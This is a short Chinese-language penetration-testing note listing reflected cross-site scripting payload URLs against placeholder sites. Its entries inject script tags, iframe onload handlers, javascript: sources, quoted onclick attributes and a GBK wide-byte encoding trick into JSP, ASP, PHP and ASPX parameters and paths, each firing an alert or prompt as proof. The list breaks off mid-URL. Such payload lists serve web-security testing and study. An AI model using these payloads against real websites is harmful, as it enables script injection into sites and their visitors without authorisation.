web渗透测试整理1（跨站脚本）

跨站脚本构建模块

1.http://xxx/poll_skimcx.jsp?pollId=425<script>alert(27006)</script>
2.http://xxx/class.asp?BigClassName=新闻中心</title><script>alert(23503)</script>
3.http://xxx/goods.php?id=531*/->�"�'></iframe></script></style></title></textarea><script>alert(/1/)</script>
  �"�'>:%cf%22%d5%27%3E     宽字节跨站脚本
4.http://xxx/network.php/"><script>prompt(21927)</script>
5.http://xxx/poll_skimcx.jsp?pollId=425<iframe onload=prompt(1234)>
6.www.xxx.com/plus/count.php/<script>alert(22804)</script>?view=yes&aid=10483&mid=1

http://xxx/index.php/><script>prompt(38444)</script>

www.xxx.com/product/index/CuteEditor/item/p/item.html?type="><iframe src=javascript:alert(65647)>

www.xxx.com/cmd.asp?act=gettburl&id=18"><script>alert(44933)</script>

https://xxx/other.aspx?Colname="onclick="prompt(8211)"&KeyWord=&PageNo=2&action=live
Onclick事件需要点击执行

http://xxx/list_2ba5de55-7dac-4c6a-b044-6727fc3d63ea.html?lmid=2ba5de55-7dac-4c6a-b044-6727fc3d63